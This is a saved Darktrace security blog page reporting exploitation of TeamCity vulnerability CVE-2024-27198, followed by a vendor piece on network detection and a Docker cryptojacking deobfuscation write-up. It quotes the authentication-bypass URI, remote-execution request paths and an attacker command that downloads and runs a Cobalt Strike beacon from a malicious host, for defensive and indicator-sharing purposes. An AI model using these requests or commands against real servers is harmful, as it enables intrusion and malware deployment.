August 21, 2024

How Darktrace Detects TeamCity Exploitation Activity

Darktrace observed the rapid exploitation of a critical vulnerability in JetBrains TeamCity (CVE-2024-27198) shortly following its public disclosure. Learn how the need for speedy detection serves to protect against supply chain attacks.

Written by

Justin Frank

Product Manager and Cyber Analyst

Inside the SOC

Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.

Written by

Justin Frank

Product Manager and Cyber Analyst

Aug 2024

The rise in vulnerability exploitation

In recent years, threat actors have increasingly been observed exploiting endpoints and services associated with critical vulnerabilities almost immediately after those vulnerabilities are publicly disclosed. The time-to-exploit for internet-facing servers is accelerating as the risk of vulnerabilities in web components continuously grows. This growth demands faster detection and response from organizations and their security teams to ward off the rising number of exploitation attempts. One such case is that of CVE-2024-27198, a critical vulnerability in TeamCity On-Premises, a popular continuous integration and continuous delivery/deployment (CI/CD) solution for DevOps teams developed by JetBrains.

The disclosure of TeamCity vulnerabilities

On March 4, 2024, JetBrains published an advisory regarding two authentication bypass vulnerabilities, CVE-2024-27198 and CVE-2024-27199, affecting TeamCity On-Premises version 2023.11.3. and all earlier versions [1].

The most severe of the two vulnerabilities, CVE-2024-27198, would enable an attacker to take full control over all TeamCity projects and use their position as a suitable vector for a significant attack across the organization’s supply chain. The other vulnerability, CVE-2024-27199, was disclosed to be a path traversal bug that allows attackers to perform limited administrative actions. On the same day, several proof-of-exploits for CVE-2024-27198 were created and shared for public use; in effect, enabling anyone with the means and intent to validate whether a TeamCity device is affected by this vulnerability [2][3].

Using CVE-2024-27198, an attacker is able to successfully call an authenticated endpoint with no authentication, if they meet three requirements during an HTTP(S) request:

Request an unauthenticated resource that generates a 404 response.

/hax

Pass an HTTP query parameter named jsp containing the value of an authenticated URI path.

?jsp=/app/rest/server

Ensure the arbitrary URI path ends with .jsp by appending an HTTP path parameter segment.

;.jsp

Once combined, the URI path used by the attacker becomes:

/hax?jsp=/app/rest/server;.jsp

Over 30,000 organizations use TeamCity to automate and build testing and deployment processes for software projects. As various On-Premises servers are internet-facing, it became a short matter of time until exposed devices were faced with the inevitable rush of exploitation attempts. On March 7, the Cybersecurity and Infrastructure Security Agency (CISA) confirmed this by adding CVE-2024-27198 to its Known Exploited Catalog and noted that it was being actively used in ransomware campaigns. A shortened time-to-exploit has become fairly common for software known to be deeply embedded into an organization’s supply chain. Darktrace detected exploitation attempts of this vulnerability in the two days following JetBrains’ disclosure [4] [5].

Shortly after the disclosure of CVE-2024-27198, Darktrace observed malicious actors attempting to validate proof-of-exploits on a number of customer environments in the financial sector. After attackers validated the presence of the vulnerability on customer networks, Darktrace observed a series of suspicious activities including malicious file downloads, command-and-control (C2) connectivity and, in some cases, the delivery of cryptocurrency miners to TeamCity devices.

Fortunately, Darktrace was able to identify this malicious post-exploitation activity on compromised servers at the earliest possible stage, notifying affected customers and advising them to take urgent mitigative actions.

Attack details

Exploit Validation Activity

On March 6, just two days after the public disclosure of CVE-2024-27198, Darktrace first observed a customer being affected by the exploitation of the vulnerability when a TeamCity device received suspicious HTTP connections from the external endpoint, 83.97.20[.]141. This endpoint was later confirmed to be malicious and linked with the exploitation of TeamCity vulnerabilities by open-source intelligence (OSINT) sources [6]. The new user agent observed during these connections suggest they were performed using Python.

Figure 1: Advanced Search results shows the user agent (python-requests/2.25) performing initial stages of exploit validation for CVE-2024-27198.

The initial HTTP requests contained the following URIs:

/hax?jsp=/app/rest/server;[.]jsp

/hax?jsp=/app/rest/users;[.]jsp

These URIs match the exact criteria needed to exploit CVE-2024-27198 and initiate malicious unauthenicated requests. Darktrace / NETWORK recognized that these HTTP connections were suspicious, thus triggering the following models to alert:

Device / New User Agent
Anomalous Connection / New User Agent to IP Without Hostname

Establish C2

Around an hour later, Darktrace observed subsequent requests suggesting that the attacker began reconnaissance of the vulnerable device with the following URIs:

/app/rest/debug/processes?exePath=/bin/sh&params=-c&params=echo+ReadyGO

/app/rest/debug/processes?exePath=cmd.exe&params=/c&params=echo+ReadyGO

These URIs set an executable path to /bin/sh or cmd.exe; instructing the shell of either a Unix-like or Windows operating system to execute the command echo ReadyGO. This will display “ReadyGO” to the attacker and validate which operating system is being used by this TeamCity server.

The same vulnerable device was then seen downloading an executable file, “beacon.out”, from the aforementioned external endpoint via HTTP on port 81, using a new user agent curl/8.4.0.

Figure 2: Darktrace’s Cyber AI Analyst detecting suspicious download of an executable file.

Figure 3: Advanced Search overview of the URIs used in the HTTP requests.

Subsequently, the attacker was seen using the curl command on the vulnerable TeamCity device to perform the following call:

“/app/rest/debug/processes?exePath=cmd[.]exe&params=/c&params=curl+hxxp://83.97.20[.]141:81/beacon.out+-o+.conf+&&+chmod++x+.conf+&&+./.conf”.

in attempt to pass the following command to the device’s command line interpreter:

“curl http://83.97.20[.]141:81/beacon.out -o .conf && chmod +x .conf && ./.conf”

From here, the attacker attempted to fetch the contents of the “beacon.out” file and create a new executable file from its output. This was done by using the -o parameter to output the results of the “beacon.out” file into a “.conf” file. Then using chmod+x to modify the file access permissions and make this file an executable aswell, before running the newly created “.conf” file.

Further investigation into the “beacon.out” file uncovered that is uses the Cobalt Strike framework. Cobalt Strike would allow for the creation of beacon components that can be configured to use HTTP to reach a C2 host [7] [8].

Cryptocurrency Mining Activities

Interestingly, prior to the confirmed exploitation of CVE-2024-27198, Darktrace observed the same vulnerable device being targeted in an attempt to deploy cryptocurrency mining malware, using a variant of the open-source mining software, XMRig. Deploying crypto-miners on vulnerable internet-facing appliances is a common tactic by financially motivated attackers, as was seen with Ivanti appliances in January 2024 [9].

Figure 4: Darktrace’s Cyber AI Analyst detects suspicious C2 activity over HTTP.

On March 5, Darktrace observed the TeamCity device connecting to another to rare, external endpoint, 146.70.149[.]185, this time using a “Windows Installer” user agent: “146.70.149[.]185:81/JavaAccessBridge-64.msi”. Similar threat activity highlighted by security researchers in January 2024, pointed to the use of a XMRig installer masquerading as an official Java utlity: “JavaAccessBridge-64.msi”. [10]

Further investigation into the external endpoint and URL address structuring, uncovered additional URIs: one serving crypto-mining malware over port 58090 and the other a C2 panel hosted on the same endpoint: “146.70.149[.]185:58090/1.sh”.

Figure 5:Crypto mining malware served over port 58090 of the rare external endpoint.

146.70.149[.]185/uadmin/adm.php

Figure 6: C2 panel on same external endpoint.

Upon closer observation, the panel resembles that of the Phishing-as-a-Service (PhaaS) provided by the “V3Bphishing kit” – a sophisticated phishing kit used to target financial institutions and their customers [11].

Darktrace Coverage

Throughout the course of this incident, Darktrace’s Cyber AI Analyst™ was able to autonomously investigate the ongoing post-exploitation activity and connect the individual events, viewing the individual suspicious connections and downloads as part of a wider compromise incident, rather than isolated events.

Figure 7: Darktrace’s Cyber AI Analyst investigates suspicious download activity.

As this particular customer was subscribed to Darktrace’s Managed Threat Detection service at the time of the attack, their internal security team was immediately notified of the ongoing compromise, and the activity was raised to Darktrace’s Security Operations Center (SOC) for triage and investigation.

Unfortunately, Darktrace’s Autonomous Response capabilities were not configured to take action on the vulnerable TeamCity device, and the attack was able to escalate until Darktrace’s SOC brought it to the customer’s attention. Had Darktrace been enabled in Autonomous Response mode, it would have been able to quickly contain the attack from the initial beaconing connections through the network inhibitor ‘Block matching connections’. Some examples of autonomous response models that likely would have been triggered include:

Antigena Crypto Currency Mining Block - Network Inhibitor (Block matching connections)
Antigena Suspicious File Block - Network Inhibitor (Block matching connections)

Despite the lack of autonomous response, Darktrace’s Self-Learning AI was still able to detect and alert for the anomalous network activity being carried out by malicious actors who had successfully exploited CVE-2024-27198 in TeamCity On-Premises.

Conclusion

In the observed cases of the JetBrains TeamCity vulnerabilities being exploited across the Darktrace fleet, Darktrace was able to pre-emptively identify and, in some cases, contain network compromises from the onset, offering vital protection against a potentially disruptive supply chain attack.

While the exploitation activity observed by Darktrace confirms the pervasive use of public exploit code, an important takeaway is the time needed for threat actors to employ such exploits in their arsenal. It suggests that threat actors are speeding up augmentation to their tactics, techniques and procedures (TTPs), especially from the moment a critical vulnerability is publicly disclosed. In fact, external security researchers have shown that CVE-2024-27198 had seen exploitation attempts within 22 minutes of a public exploit code being released [12][13] [14].

While new vulnerabilities will inevitably surface and threat actors will continually look for novel or AI-augmented ways to evolve their methods, Darktrace’s AI-driven detection capabilities and behavioral analysis offers organizations full visibility over novel or unknown threats. Rather than relying on only existing threat intelligence, Darktrace is able to detect emerging activity based on anomaly and respond to it without latency, safeguarding customer environments whilst causing minimal disruption to business operations.

Credit to Justin Frank (Cyber Analyst & Newsroom Product Manager) and Daniela Alvarado (Senior Cyber Analyst)

Appendices

References

[1] https://blog.jetbrains.com/teamcity/2024/03/additional-critical-security-issues-affecting-teamcity-on-premises-cve-2024-27198-and-cve-2024-27199-update-to-2023-11-4-now/

[2] https://github.com/Chocapikk/CVE-2024-27198

[3] https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/

[4] https://www.darkreading.com/cyberattacks-data-breaches/jetbrains-teamcity-mass-exploitation-underway-rogue-accounts-thrive

[5] https://www.gartner.com/en/documents/5524495
[6]https://www.virustotal.com/gui/ip-address/83.97.20.141

[7] https://thehackernews.com/2024/03/teamcity-flaw-leads-to-surge-in.html

[8] https://www.cobaltstrike.com/product/features/beacon

[9] https://darktrace.com/blog/the-unknown-unknowns-post-exploitation-activities-of-ivanti-cs-ps-appliances

[10] https://www.trendmicro.com/en_us/research/24/c/teamcity-vulnerability-exploits-lead-to-jasmin-ransomware.html

[11] https://www.resecurity.com/blog/article/cybercriminals-attack-banking-customers-in-eu-with-v3b-phishing-kit

[12] https://www.ncsc.gov.uk/report/impact-of-ai-on-cyber-threat

[13] https://www2.deloitte.com/content/dam/Deloitte/us/Documents/risk/us-design-ai-threat-report-v2.pdf

[14] https://blog.cloudflare.com/application-security-report-2024-update

[15] https://www.virustotal.com/gui/file/1320e6dd39d9fdb901ae64713594b1153ee6244daa84c2336cf75a2a0b726b3c

‍Darktrace Model Detections

Device / New User Agent

Anomalous Connection / New User Agent to IP Without Hostname

Anomalous Connection / Callback on Web Facing Device

Anomalous Connection / Application Protocol on Uncommon Port

Anomalous File / EXE from Rare External Location

Anomalous File / Internet Facing System File Download

Anomalous Server Activity / New User Agent from Internet Facing System

Device / Initial Breach Chain Compromise

Device / Internet Facing Device with High Priority Alert

Indicators of Compromise (IoC)

IoC - Type – Description

/hax?jsp=/app/rest/server;[.]jsp - URI

/app/rest/debug/processes?exePath=/bin/sh&params=-c&params=echo+ReadyGO - URI

/app/rest/debug/processes?exePath=cmd.exe&params=/c&params=echo+ReadyGO – URI -

db6bd96b152314db3c430df41b83fcf2e5712281 - SHA1 – Malicious file

/beacon.out - URI -

/JavaAccessBridge-64.msi - MSI Installer

/app/rest/debug/processes?exePath=cmd[.]exe&params=/c&params=curl+hxxp://83.97.20[.]141:81/beacon.out+-o+.conf+&&+chmod++x+.conf+&&+./.con - URI

146.70.149[.]185:81 - IP – Malicious Endpoint

83.97.20[.]141:81 - IP – Malicious Endpoint

MITRE ATT&CK Mapping

Initial Access - Exploit Public-Facing Application - T1190

Execution - PowerShell - T1059.001

Command and Control - Ingress Tool Transfer - T1105

Resource Development - Obtain Capabilities - T1588

Execution - Vulnerabilities - T1588.006

Written by

Justin Frank

Product Manager and Cyber Analyst

Inside the SOC

Written by

Justin Frank

Product Manager and Cyber Analyst

•

April 17, 2025

Jeffrey Macre

Industrial Security Solutions Architect

•

April 16, 2025

Margaret Cunningham, PhD

Director, Security & AI Strategy, Field CISO

Watch the NIS2 Webinar

Blog

April 24, 2025

The Importance of NDR in Resilient XDR

As threat actors become more adept at targeting and disabling EDR agents, relying solely on endpoint detection leaves critical blind spots.

Network detection and response (NDR) offers the visibility and resilience needed to catch what EDR can’t especially in environments with unmanaged devices or advanced threats that evade local controls.

This blog explores how threat actors can disable or bypass EDR-based XDR solutions and demonstrates how Darktrace’s approach to NDR closes the resulting security gaps with Self-Learning AI that enables autonomous, real-time detection and response.

Threat actors see local security agents as targets

Recent research by security firms has highlighted ‘EDR killers’: tools that deliberately target EDR agents to disable or damage them. These include the known malicious tool EDRKillShifter, the open source EDRSilencer, EDRSandblast and variants of Terminator, and even the legitimate business application HRSword.

The attack surface of any endpoint agent is inevitably large, whether the software is challenged directly, by contesting its local visibility and access mechanisms, or by targeting the Operating System it relies upon. Additionally, threat actors can readily access and analyze EDR tools, and due to their uniformity across environments an exploit proven in a lab setting will likely succeed elsewhere.

Sophos have performed deep research into the EDRShiftKiller tool, which ESET have separately shown became accessible to multiple threat actor groups. Cisco Talos have reported via TheRegister observing significant success rates when an EDR kill was attempted by ransomware actors.

With the local EDR agent silently disabled or evaded, how will the threat be discovered?

What are the limitations of relying solely on EDR?

Cyber attackers will inevitably break through boundary defences, through innovation or trickery or exploiting zero-days. Preventive measures can reduce but not completely stop this. The attackers will always then want to expand beyond their initial access point to achieve persistence and discover and reach high value targets within the business. This is the primary domain of network activity monitoring and NDR, which includes responsibility for securing the many devices that cannot run endpoint agents.

In the insights from a CISA Red Team assessment of a US CNI organization, the Red Team was able to maintain access over the course of months and achieve their target outcomes. The top lesson learned in the report was:

“The assessed organization had insufficient technical controls to prevent and detect malicious activity. The organization relied too heavily on host-based endpoint detection and response (EDR) solutions and did not implement sufficient network layer protections.”

This proves that partial, isolated viewpoints are not sufficient to track and analyze what is fundamentally a connected problem – and without the added visibility and detection capabilities of NDR, any downstream SIEM or MDR services also still have nothing to work with.

Why is network detection & response (NDR) critical?

An effective NDR finds threats that disable or can’t be seen by local security agents and generally operates out-of-band, acquiring data from infrastructure such as traffic mirroring from physical or virtual switches. This means that the security system is extremely inaccessible to a threat actor at any stage.

An advanced NDR such as Darktrace / NETWORK is fully capable of detecting even high-end novel and unknown threats.

Detecting exploitation of Ivanti CS/PS with Darktrace / NETWORK

On January 9th 2025, two new vulnerabilities were disclosed in Ivanti Connect Secure and Policy Secure appliances that were under malicious exploitation. Perimeter devices, like Ivanti VPNs, are designed to keep threat actors out of a network, so it's quite serious when these devices are vulnerable.

An NDR solution is critical because it provides network-wide visibility for detecting lateral movement and threats that an EDR might miss, such as identifying command and control sessions (C2) and data exfiltration, even when hidden within encrypted traffic and which an EDR alone may not detect.

Darktrace initially detected suspicious activity connected with the exploitation of CVE-2025-0282 on December 29, 2024 – 11 days before the public disclosure of the vulnerability, this early detection highlights the benefits of an anomaly-based network detection method.

Throughout the campaign and based on the network telemetry available to Darktrace, a wide range of malicious activities were identified, including the malicious use of administrative credentials, the download of suspicious files, and network scanning in the cases investigated.

Darktrace / NETWORK’s autonomous response capabilities played a critical role in containment by autonomously blocking suspicious connections and enforcing normal behavior patterns. At the same time, Darktrace Cyber AI Analyst™ automatically investigated and correlated the anomalous activity into cohesive incidents, revealing the full scope of the compromise.

This case highlights the importance of real-time, AI-driven network monitoring to detect and disrupt stealthy post-exploitation techniques targeting unmanaged or unprotected systems.

Unlocking adaptive protection for evolving cyber risks

Darktrace / NETWORK uses unique AI engines that learn what is normal behavior for an organization’s entire network, continuously analyzing, mapping and modeling every connection to create a full picture of your devices, identities, connections, and potential attack paths.

With its ability to uncover previously unknown threats as well as detect known threats using signatures and threat intelligence, Darktrace is an essential layer of the security stack. Darktrace has helped secure customers against attacks including 2024 threat actor campaigns against Fortinet’s FortiManager , Palo Alto firewall devices, and more.

Stay tuned for part II of this series which dives deeper into the differences between NDR types.

‍

Credit to Nathaniel Jones VP, Security & AI Strategy, FCISO & Ashanka Iddya, Senior Director of Product Marketing for their contribution to this blog.

About the author

Nathaniel Jones

VP, Security & AI Strategy, Field CISO

Blog

April 22, 2025

Obfuscation Overdrive: Next-Gen Cryptojacking with Layers

man looking at multiple computer screens

Out of all the services honeypotted by Darktrace, Docker is the most commonly attacked, with new strains of malware emerging daily. This blog will analyze a novel malware campaign with a unique obfuscation technique and a new cryptojacking technique.

What is obfuscation?

Obfuscation is a common technique employed by threat actors to prevent signature-based detection of their code, and to make analysis more difficult. This novel campaign uses an interesting technique of obfuscating its payload.

Docker image analysis

The attack begins with a request to launch a container from Docker Hub, specifically the kazutod/tene:ten image. Using Docker Hub’s layer viewer, an analyst can quickly identify what the container is designed to do. In this case, the container is designed to run the ten.py script which is built into itself.

Docker Hub Image Layers, referencing the script ten.py. — Figure 1: Docker Hub Image Layers, referencing the script *ten.py*.

To gain more information on the Python file, Docker’s built in tooling can be used to download the image (docker pull kazutod/tene:ten) and then save it into a format that is easier to work with (docker image save kazutod/tene:ten -o tene.tar). It can then be extracted as a regular tar file for further investigation.

Figure 2: Extraction of the resulting tar file.

The Docker image uses the OCI format, which is a little different to a regular file system. Instead of having a static folder of files, the image consists of layers. Indeed, when running the file command over the sha256 directory, each layer is shown as a tar file, along with a JSON metadata file.

Figure 3: Output of the file command over the sha256 directory.

As the detailed layers are not necessary for analysis, a single command can be used to extract all of them into a single directory, recreating what the container file system would look like:

find blobs/sha256 -type f -exec sh -c 'file "{}" | grep -q "tar archive" && tar -xf "{}" -C root_dir' \;

Figure 4: Result of running the command above.

The find command can then be used to quickly locate where the ten.py script is.

find root_dir -name ten.py

root_dir/app/ten.py

Details of the above ten.py script. — Figure 5: Details of the above *ten.py* script.

This may look complicated at first glance, however after breaking it down, it is fairly simple. The script defines a lambda function (effectively a variable that contains executable code) and runs zlib decompress on the output of base64 decode, which is run on the reversed input. The script then runs the lambda function with an input of the base64 string, and then passes it to exec, which runs the decoded string as Python code.

To help illustrate this, the code can be cleaned up to this simplified function:

def decode(input):
reversed = input[::-1]

decoded = base64.decode(reversed)
decompressed = zlib.decompress(decoded)
return decompressed

decoded_string = decode(the_big_text_blob)
exec(decoded_string) # run the decoded string

This can then be set up as a recipe in Cyberchef, an online tool for data manipulation, to decode it.

Use of Cyberchef to decode the ten.py script. — Figure 6: Use of Cyberchef to decode the *ten.py* script.

The decoded payload calls the decode function again and puts the output into exec. Copy and pasting the new payload into the input shows that it does this another time. Instead of copy-pasting the output into the input all day, a quick script can be used to decode this.

The script below uses the decode function from earlier in order to decode the base64 data and then uses some simple string manipulation to get to the next payload. The script will run this over and over until something interesting happens.

# Decode the initial base64

decoded = decode(initial)
# Remove the first 11 characters and last 3

# so we just have the next base64 string

clamped = decoded[11:-3]

for i in range(1, 100):
# Decode the new payload

decoded = decode(clamped)
# Print it with the current step so we

# can see what’s going on

print(f"Step {i}")

print(decoded)
# Fetch the next base64 string from the

# output, so the next loop iteration will

# decode it

clamped = decoded[11:-3]

Figure 7: Result of the 63rd iteration of this script.

After 63 iterations, the script returns actual code, accompanied by an error from the decode function as a stopping condition was never defined. It not clear what the attacker’s motive to perform so many layers of obfuscation was, as one round of obfuscation versus several likely would not make any meaningful difference to bypassing signature analysis. It’s possible this is an attempt to stop analysts or other hackers from reverse engineering the code. However, it took a matter of minutes to thwart their efforts.

Cryptojacking 2.0?

Figure 8: Cleaned up version of the de-obfuscated code.

The cleaned up code indicates that the malware attempts to set up a connection to teneo[.]pro, which appears to belong to a Web3 startup company.

Teneo appears to be a legitimate company, with Crunchbase reporting that they have raised USD 3 million as part of their seed round [1]. Their service allows users to join a decentralized network, to “make sure their data benefits you” [2]. Practically, their node functions as a distributed social media scraper. In exchange for doing so, users are rewarded with “Teneo Points”, which are a private crypto token.

The malware script simply connects to the websocket and sends keep-alive pings in order to gain more points from Teneo and does not do any actual scraping. Based on the website, most of the rewards are gated behind the number of heartbeats performed, which is likely why this works [2].

Checking out the attacker’s dockerhub profile, this sort of attack seems to be their modus operandi. The most recent container runs an instance of the nexus network client, which is a project to perform distributed zero-knowledge compute tasks in exchange for cryptocurrency.

Typically, traditional cryptojacking attacks rely on using XMRig to directly mine cryptocurrency, however as XMRig is highly detected, attackers are shifting to alternative methods of generating crypto. Whether this is more profitable remains to be seen. There is not currently an easy way to determine the earnings of the attackers due to the more “closed” nature of the private tokens. Translating a user ID to a wallet address does not appear to be possible, and there is limited public information about the tokens themselves. For example, the Teneo token is listed as “preview only” on CoinGecko, with no price information available.

Conclusion

This blog explores an example of Python obfuscation and how to unravel it. Obfuscation remains a ubiquitous technique employed by the majority of malware to aid in detection/defense evasion and being able to de-obfuscate code is an important skill for analysts to possess.

We have also seen this new avenue of cryptominers being deployed, demonstrating that attackers’ techniques are still evolving - even tried and tested fields. The illegitimate use of legitimate tools to obtain rewards is an increasingly common vector. For example, as has been previously documented, 9hits has been used maliciously to earn rewards for the attack in a similar fashion.

Docker remains a highly targeted service, and system administrators need to take steps to ensure it is secure. In general, Docker should never be exposed to the wider internet unless absolutely necessary, and if it is necessary both authentication and firewalling should be employed to ensure only authorized users are able to access the service. Attacks happen every minute, and even leaving the service open for a short period of time may result in a serious compromise.

References

1. https://www.crunchbase.com/funding_round/teneo-protocol-seed--a8ff2ad4

2. https://teneo.pro/

About the author

Nate Bill

Threat Researcher

Your data. Our AI.

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Check out this article by Darktrace: How Darktrace Detects TeamCity Exploitation Activity

How Darktrace Detects TeamCity Exploitation Activity

The rise in vulnerability exploitation

The disclosure of TeamCity vulnerabilities

Attack details

Exploit Validation Activity

Establish C2

Cryptocurrency Mining Activities

Darktrace Coverage

Conclusion

Appendices

References

‍Darktrace Model Detections

Indicators of Compromise (IoC)

MITRE ATT&CK Mapping

Why Asset Visibility and Signature-Based Threat Detection Fall Short in ICS Security

Introducing Version 2 of Darktrace’s Embedding Model for Investigation of Security Threats (DEMIST-2)

Enjoying the blog?

More in this series

The Importance of NDR in Resilient XDR

Obfuscation Overdrive: Next-Gen Cryptojacking with Layers

How NDR and Secure Access Service Edge (SASE) Work Together to Achieve Network Security Outcomes

Blog

April 24, 2025

The Importance of NDR in Resilient XDR

Threat actors see local security agents as targets

What are the limitations of relying solely on EDR?

Why is network detection & response (NDR) critical?

Detecting exploitation of Ivanti CS/PS with Darktrace / NETWORK

Unlocking adaptive protection for evolving cyber risks

Blog

April 22, 2025

Obfuscation Overdrive: Next-Gen Cryptojacking with Layers

What is obfuscation?

Docker image analysis

Cryptojacking 2.0?

Conclusion

References